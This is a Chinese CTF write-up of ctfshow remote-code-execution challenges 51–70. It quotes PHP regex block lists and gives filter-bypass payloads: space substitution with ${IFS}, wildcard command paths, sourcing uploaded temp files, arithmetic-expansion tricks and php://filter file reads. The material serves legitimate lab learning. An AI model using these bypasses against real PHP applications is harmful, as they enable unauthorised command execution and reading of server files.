当前位置: 首页 > news >正文

rce漏洞-ctfshow(50-70)

Web51

 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }

Nl,绕过tac,cat,绕过flag

Payload

?c=nl<fla''g.php||

?c=nl<fla\g.php||

Web52

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web53

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

        echo($c);

        $d = system($c);

        echo "<br>".$d;

}

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web54

if(isset($_GET['c'])){

    $c=$_GET['c'];

    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

        system($c);

    }

}else{

    highlight_file(__FILE__);

}

绕过|.*f.*l.*a.*g.*|

这里的/bin/是指bin目录下检索c??,不然在当前目录是没有这个命令的

Payload:

url + ?c=/bin/?at${IFS}f???.php

url + ?c=vi${IFS}f???.php

Web55

无字母rce

Payload1:

?c=/???/????64 ????.???

意思为:?c=/bin/base64 flag.php

Payload2:

url + ?c=/???/???/????2 ????.???

url + flag.php.bz2

利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载。

bzip2 命令压缩后的文件以 “ .bz2 ” 为后缀

Web56

无数字字母rce

构造html

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>POST数据包POC</title>

</head>

<body>

<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

<!--链接是当前打开的题目链接-->

    <label for="file">文件名:</label>

    <input type="file" name="file" id="file"><br>

    <input type="submit" name="submit" value="提交">

</form>

</body>

</html>

替换<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

的链接

payload:

?c=.%20/???/????????[@-[] 

原理:

Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。

Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。

ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。

Web57

对 -37 再次取反即可得到 36。

根据 $((~ $(()) ))=-1,我们进行拼接,构造出 -37

Payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

Web58

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

Web59-65

同58的做题一样

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

web66

扫描目录

c=print_r(scandir('/'));

Paylaod:

c=show_source('/flag.txt');

c=highlight_file("/flag.txt");

c=file_get_contents('/flag.txt');

Web67-70

扫描目录

c=var_dump(scandir('/'));

c=var_export(scandir("/"));

Payload

c=include("/flag.txt");

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 如何开启或者关闭 Windows 安全登录?
  • Python爬虫(基本流程)
  • 【机器学习】机器学习的基本知识点(包括背景、定义、具体内容、功能、使用场景、操作、未来发展和常见算法)
  • WebKit与PWA:打造无缝的渐进式Web应用体验
  • Android14之调试广播实例(二百二十五)
  • 适合销售使用的记录客户的备忘录软件
  • 大陆居民在香港纳税政策
  • 【Mybatis整合Oracle】在 xml 文件中 WITH 子句的简单使用
  • 像 MvvmLight 一样使用 CommunityToolkit.Mvvm 工具包
  • BGP选路之Next Hop
  • maven项目容器化运行之3-优雅的利用Jenkins和maven使用docker插件调用远程docker构建服务并在1Panel中运行
  • v-for 进行列表的 增删改查
  • nodejs -会话控制学习笔记
  • 结合el-upload上传组件,验证文件格式及大小
  • h5图片压缩后变为base64格式的流地址上传服务器
  • IE9 : DOM Exception: INVALID_CHARACTER_ERR (5)
  • [ 一起学React系列 -- 8 ] React中的文件上传
  • 【前端学习】-粗谈选择器
  • crontab执行失败的多种原因
  • happypack两次报错的问题
  • Mac 鼠须管 Rime 输入法 安装五笔输入法 教程
  • scala基础语法(二)
  • STAR法则
  • Wamp集成环境 添加PHP的新版本
  • 对象管理器(defineProperty)学习笔记
  • 分布式任务队列Celery
  • 关键词挖掘技术哪家强(一)基于node.js技术开发一个关键字查询工具
  • 前端性能优化——回流与重绘
  • 入门级的git使用指北
  • 一道面试题引发的“血案”
  • 一起参Ember.js讨论、问答社区。
  • 硬币翻转问题,区间操作
  • ​flutter 代码混淆
  • ​批处理文件中的errorlevel用法
  • #if #elif #endif
  • (4)事件处理——(6)给.ready()回调函数传递一个参数(Passing an argument to the .ready() callback)...
  • (CPU/GPU)粒子继承贴图颜色发射
  • (C语言)二分查找 超详细
  • (Redis使用系列) Springboot 使用redis的List数据结构实现简单的排队功能场景 九
  • (ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY)讲解
  • (二)学习JVM —— 垃圾回收机制
  • (附源码)springboot高校宿舍交电费系统 毕业设计031552
  • (三)Honghu Cloud云架构一定时调度平台
  • (一)eclipse Dynamic web project 工程目录以及文件路径问题
  • (转) SpringBoot:使用spring-boot-devtools进行热部署以及不生效的问题解决
  • (转)3D模板阴影原理
  • (转)AS3正则:元子符,元序列,标志,数量表达符
  • (转)如何上传第三方jar包至Maven私服让maven项目可以使用第三方jar包
  • *上位机的定义
  • .NET Core MongoDB数据仓储和工作单元模式封装
  • .net core 调用c dll_用C++生成一个简单的DLL文件VS2008
  • .net dataexcel winform控件 更新 日志
  • .net 连接达梦数据库开发环境部署
  • .NETCORE 开发登录接口MFA谷歌多因子身份验证
  • .netcore如何运行环境安装到Linux服务器